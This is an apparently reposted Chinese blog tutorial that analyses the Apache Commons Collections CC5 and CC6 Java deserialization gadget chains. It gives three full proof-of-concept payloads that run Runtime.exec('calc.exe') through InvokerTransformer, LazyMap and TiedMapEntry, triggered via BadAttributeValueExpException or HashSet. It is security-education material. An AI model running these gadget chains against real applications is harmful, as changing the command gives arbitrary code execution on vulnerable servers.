当前位置:   article > 正文

11-java安全——java反序列化CC5和CC6链分析_cc5反序列化

cc5反序列化

CC5链分析

复习LazyMap利用链: https://blog.csdn.net/qq_35733751/article/details/118462281

在学习CC2链时我们知道由于JDK8版本改写了AnnotationInvocationHandler类的readobject方法,CC1链中LazyMap的get方法已经无法使用,CC5链使用了BadAttributeValueExpException类来代替AnnotationInvocationHandler类,并且还用了一个新的类来调用LazyMap的get方法。

CC5链的payload代码:

  1. package com.cc;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import javax.management.BadAttributeValueExpException;
  9. import java.io.ByteArrayInputStream;
  10. import java.io.ByteArrayOutputStream;
  11. import java.io.ObjectInputStream;
  12. import java.io.ObjectOutputStream;
  13. import java.lang.reflect.Field;
  14. import java.util.HashMap;
  15. public class CC5Test {
  16. public static void main(String[] args) throws Exception {
  17. //构造核心利用代码
  18. Transformer[] transformers = new Transformer[]{
  19. new ConstantTransformer(Runtime.class),
  20. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  21. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  22. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  23. };
  24. //构造利用链
  25. ChainedTransformer chain = new ChainedTransformer(transformers);
  26. //触发连
  27. HashMap hashMap = new HashMap();
  28. LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain);
  29. //将lazyMap传给TiedMapEntry
  30. TiedMapEntry entry = new TiedMapEntry(lazymap, "test");
  31. //反射调用TiedMapEntry
  32. BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
  33. Field val = bad.getClass().getDeclaredField("val");
  34. val.setAccessible(true);
  35. val.set(bad,entry);
  36. //序列化 --> 反序列化
  37. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  38. ObjectOutputStream oos = new ObjectOutputStream(barr);
  39. oos.writeObject(bad);
  40. oos.close();
  41. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  42. ois.readObject();
  43. }
  44. }

CC5链构造核心利用代码和利用链还是和CC1链一样没啥区别,我们主要关注后面是如何触发利用链。在构造触发链时还是用到了LazyMap类,但不同的是使用了一个新的类TiedMapEntry来调用LazyMap链,然后将TiedMapEntry类又传给了BadAttributeValueExpException类的val属性。

先来看TiedMapEntry类,该类实现了Serializable接口,在getValue方法并通过map属性调用了一个get方法

  1. public Object getValue() {
  2. return map.get(key);
  3. }

map属性是通过TiedMapEntry类的构造来赋值的(map属性是可控的),可以把LazyMap当做TiedMapEntry类的构造参数传给map属性。

  1. public TiedMapEntry(Map map, Object key) {
  2. super();
  3. this.map = map;
  4. this.key = key;
  5. }

这样就可以让TiedMapEntry类map属性来间接调用LazyMap类的get方法,从而触发之前构造的利用链了。

而getValue方法是在toString方法中被调用

  1. public String toString() {
  2. return getKey() + "=" + getValue();
  3. }

现在我们要思考的是如何调用TiedMapEntry类的toString?于是接下来需要找到一个类必须满足以下条件:

  1. 重写readObject方法
  2. 并在readObject方法中可以调用toString方法(并且调用toString方法的对象是可控的)

于是接下来我们找到一个BadAttributeValueExpException类:

  1. public class BadAttributeValueExpException extends Exception {
  2. /* Serial version */
  3. private static final long serialVersionUID = -3105272988410493376L;
  4. /**
  5. * @serial A string representation of the attribute that originated this exception.
  6. * for example, the string value can be the return of {@code attribute.toString()}
  7. */
  8. private Object val;
  9. /**
  10. * Constructs a BadAttributeValueExpException using the specified Object to
  11. * create the toString() value.
  12. *
  13. * @param val the inappropriate value.
  14. */
  15. public BadAttributeValueExpException (Object val) {
  16. this.val = val == null ? null : val.toString();
  17. }
  18. /**
  19. * Returns the string representing the object.
  20. */
  21. public String toString() {
  22. return "BadAttributeValueException: " + val;
  23. }
  24. private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
  25. //从流中读取字段
  26. ObjectInputStream.GetField gf = ois.readFields();
  27. //从流中读取val属性
  28. Object valObj = gf.get("val", null);
  29. if (valObj == null) {
  30. val = null;
  31. } else if (valObj instanceof String) {
  32. val= valObj;
  33. } else if (System.getSecurityManager() == null
  34. || valObj instanceof Long
  35. || valObj instanceof Integer
  36. || valObj instanceof Float
  37. || valObj instanceof Double
  38. || valObj instanceof Byte
  39. || valObj instanceof Short
  40. || valObj instanceof Boolean) {
  41. //相当于属性val调用toString方法
  42. val = valObj.toString();
  43. } else { // the serialized object is from a version without JDK-8019292 fix
  44. val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
  45. }
  46. }
  47. }

readFields方法表示从输入流中读取字段,然后gf对象调用了get方法读取val属性,然后又调用了toString方法,val的内容同样是可控的,因此这里可以通过反射将val属性设置为TiedMapEntry类,这样就可以调用TiedMapEntry类的toString方法了,这样就可以触发利用链和核心利用代码。

CC5利用链流程:

CC6链分析

CC6链用到了很多关于集合的知识,如果你对集合不熟悉的话,想要理解CC6链的构造原理可能比较费劲,建议先复习一下集合的知识:8-java安全基础——HashSet,HashMap源码分析

TiedMapEntry类中有两个方法都调用了getValue方法,CC5链是通过toString方法调用getValue方法从而触发LazyMap,而在CC6链中则是通过hashCode方法来调用getValue方法。

  1. public Object getValue() {
  2. return map.get(key);
  3. }
  4. public String toString() {
  5. return getKey() + "=" + getValue();
  6. }
  7. public int hashCode() {
  8. Object value = getValue();
  9. return (getKey() == null ? 0 : getKey().hashCode()) ^
  10. (value == null ? 0 : value.hashCode());
  11. }

我们要找哪些地方调用了hashCode方法,然后再hashMap中找到一个hash方法,并且在该方法中调用了一个hashCode方法,参数k是通过put方法传递的,分析参数key是否可控。

  1. final int hash(Object k) {
  2. int h = hashSeed;
  3. if (0 != h && k instanceof String) {
  4. return sun.misc.Hashing.stringHash32((String) k);
  5. }
  6. //调用hashcode方法
  7. h ^= k.hashCode();
  8. // This function ensures that hashCodes that differ only by
  9. // constant multiples at each bit position have a bounded
  10. // number of collisions (approximately 8 at default load factor).
  11. h ^= (h >>> 20) ^ (h >>> 12);
  12. return h ^ (h >>> 7) ^ (h >>> 4);
  13. }

而hash方法是在put方法中被调用,HashMap每次调用put方法都会调用hash方法计算hash值。

  1. public V put(K key, V value) {
  2. if (table == EMPTY_TABLE) {
  3. inflateTable(threshold);
  4. }
  5. if (key == null)
  6. return putForNullKey(value);
  7. //计算hash值
  8. //调用hash方法
  9. int hash = hash(key);
  10. int i = indexFor(hash, table.length);
  11. for (Entry<K,V> e = table[i]; e != null; e = e.next) {
  12. Object k;
  13. if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
  14. V oldValue = e.value;
  15. e.value = value;
  16. e.recordAccess(this);
  17. return oldValue;
  18. }
  19. }
  20. modCount++;
  21. addEntry(hash, key, value, i);
  22. return null;
  23. }

利用链构造完了,接下来需要找到一个触发利用链的地方(重写了readObject方法同时又调用了put方法的地方),正好有一个HashSet集合满足条件,hashSet重写了writeObject和readObject方法实现自定义序列化与反序列化

  1. //序列化
  2. private void writeObject(java.io.ObjectOutputStream s)
  3. throws java.io.IOException {
  4. // Write out any hidden serialization magic
  5. s.defaultWriteObject();
  6. // Write out HashMap capacity and load factor
  7. s.writeInt(map.capacity());
  8. s.writeFloat(map.loadFactor());
  9. // Write out size
  10. s.writeInt(map.size());
  11. //将元素依次序列化
  12. for (E e : map.keySet())
  13. s.writeObject(e);
  14. }
  15. //反序列化
  16. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
  17. // Read in any hidden serialization magic
  18. s.defaultReadObject();
  19. // Read in HashMap capacity and load factor and create backing HashMap
  20. int capacity = s.readInt();
  21. float loadFactor = s.readFloat();
  22. map = (((HashSet)this) instanceof LinkedHashSet ?
  23. new LinkedHashMap<E,Object>(capacity, loadFactor) :
  24. new HashMap<E,Object>(capacity, loadFactor));
  25. // Read in size
  26. int size = s.readInt();
  27. // Read in all elements in the proper order.
  28. for (int i=0; i<size; i++) {
  29. //依次将元素还原成java对象(反序列化)
  30. E e = (E) s.readObject();
  31. //将java对象传给put方法
  32. map.put(e, PRESENT);
  33. }
  34. }

writeObject方法中会将hashSet集合中的元素依次取出来序列化,readObject方法会判断当前HashSet对象是否为LinkedHashSet,如果不是则直接返回HashMap,接着从流中读取hashSet集合中的元素并还原成java对象,然后将java对象作为参数key传给put方法,自定义序列化和反序列化过程中的hashSet集合中的元素是可控的,如果在hashSet集合中添加TiedMapEntry对象元素,这样就能控制put方法中的key了。

分析hashSet集合add方法底层实现后发现add方法底层调用了map.put方法,并且在putVal方法内部将key传给了Node。

  1. final V putVal(int hash, K key, V value, boolean onlyIfAbsent,boolean evict) {
  2. Node<K,V>[] tab; Node<K,V> p; int n, i;
  3. if ((tab = table) == null || (n = tab.length) == 0)
  4. //resize方法会返回table属性的引用
  5. n = (tab = resize()).length;
  6. if ((p = tab[i = (n - 1) & hash]) == null)
  7. //将key传给Node
  8. tab[i] = newNode(hash, key, value, null);
  9. else {
  10. Node<K,V> e; K k;
  11. if (p.hash == hash &&
  12. ((k = p.key) == key || (key != null && key.equals(k))))
  13. e = p;
  14. else if (p instanceof TreeNode)
  15. e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
  16. else {
  17. for (int binCount = 0; ; ++binCount) {
  18. if ((e = p.next) == null) {
  19. p.next = newNode(hash, key, value, null);
  20. if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
  21. treeifyBin(tab, hash);
  22. break;
  23. }
  24. if (e.hash == hash &&
  25. ((k = e.key) == key || (key != null && key.equals(k))))
  26. break;
  27. p = e;
  28. }
  29. }
  30. if (e != null) { // existing mapping for key
  31. V oldValue = e.value;
  32. if (!onlyIfAbsent || oldValue == null)
  33. e.value = value;
  34. afterNodeAccess(e);
  35. return oldValue;
  36. }
  37. }
  38. ++modCount;
  39. if (++size > threshold)
  40. resize();
  41. afterNodeInsertion(evict);
  42. return null;
  43. }

Node创建了一个实例

  1. Node<K,V> newNode(int hash, K key, V value, Node<K,V> next) {
  2. return new Node<>(hash, key, value, next);
  3. }

然后将hashSet集合添加的元素给了Node对象的key属性

  1. Node(int hash, K key, V value, Node<K,V> next) {
  2. this.hash = hash;
  3. //将key赋值给key属性
  4. this.key = key;
  5. this.value = value;
  6. this.next = next;
  7. }

返回到putVal方法中,该方法会将Node对象(key/value键值对)赋给一个Node<K,V>[]类型的tab数组(tab实际上是由resize方法返回的table属性引用),即HashMap的table属性,因为hashSet集合添加元素底层用到了HashMap集合,而HashMap会把元素以Node进行存储。

经过分析之后发现hashSet集合的add方法底层还是调用了map.put方法,控制put方法中的参数key的思路有两种:

方式一:往hashSet集合中直接添加TiedMapEntry对象。

方式二:是通过反射先从hashSet集合中获取map属性所指向的hashmap对象,然后再从hashmap中获取table属性中的Node对象,最后将Node对象中的key属性修改为TiedMapEntry对象,Node为啥能接收Entry?这明明是两个完全不同类型的对象,如果你对于HashMap底层实现非常了解的话,相信这一点对你来说应该不难理解,其实主要是因为Node实现了Entry接口。

 以上方式都可以构造利用链,在yseoserial工具CC6链中是使用第二种方式。

CC6链的payload代码:

  1. package com.cc;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.util.HashMap;
  11. import java.util.HashSet;
  12. public class CC6Test1 {
  13. public static void main(String[] args) throws Exception {
  14. Transformer[] transformers = new Transformer[]{
  15. new ConstantTransformer(Runtime.class),
  16. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  17. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  18. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
  19. };
  20. ChainedTransformer chain = new ChainedTransformer(transformers);
  21. HashMap hashMap = new HashMap();
  22. LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
  23. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");
  24. HashSet hashSet = new HashSet(1);
  25. hashSet.add("foo");
  26. //获取HashSet的map属性
  27. Field field = hashSet.getClass().getDeclaredField("map");
  28. field.setAccessible(true);
  29. //获取HashSet集合中的map属性的hashmap对象
  30. HashMap hashset_map = (HashMap)field.get(hashSet);
  31. //获取HashMap的table属性
  32. field = HashMap.class.getDeclaredField("table");
  33. field.setAccessible(true);
  34. //从hashmap对象中获取table属性的值(返回的是一个HashMap.Node类型的数组)
  35. Object[] array = (Object[]) field.get(hashset_map);
  36. Object node = array[0];
  37. if(node == null){
  38. node = array[1];
  39. }
  40. Field keyField = null;
  41. //获取HashMap.Node类中的key属性
  42. keyField = node.getClass().getDeclaredField("key");
  43. keyField.setAccessible(true);
  44. //然后将HashMap.Node类中的key属性设置为TiedMapEntry对象
  45. keyField.set(node, tiedMapEntry);
  46. //序列化 --> 反序列化
  47. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  48. ObjectOutputStream oos = new ObjectOutputStream(barr);
  49. oos.writeObject(hashSet);
  50. oos.close();
  51. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  52. ois.readObject();
  53. }
  54. }

关于方式一中往hashSet集合中直接添加TiedMapEntry对象,最终代码如下:

  1. package com.cc;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.*;
  9. import java.util.HashMap;
  10. import java.util.HashSet;
  11. /*
  12. 方式一:往hashSet集合中直接添加TiedMapEntry对象。
  13. */
  14. public class CC6Test2 {
  15. public static void main(String[] args) throws Exception {
  16. Transformer[] transformers = new Transformer[]{
  17. new ConstantTransformer(Runtime.class),
  18. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  19. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  20. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
  21. };
  22. ChainedTransformer chain = new ChainedTransformer(transformers);
  23. HashMap hashMap = new HashMap();
  24. LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
  25. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");
  26. //直接向Set集合中添加TiedMapEntry,触发利用链
  27. HashSet hashSet = new HashSet(1);
  28. hashSet.add(tiedMapEntry);
  29. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser2.out"));
  30. outputStream.writeObject(hashSet);
  31. outputStream.close();
  32. ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("ser2.out"));
  33. inputStream.readObject();
  34. }
  35. }

 总体来说,方式二的利用链的构造比方式一要复杂很多。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小蓝xlanll/article/detail/694763
推荐阅读
相关标签
  

闽ICP备14008679号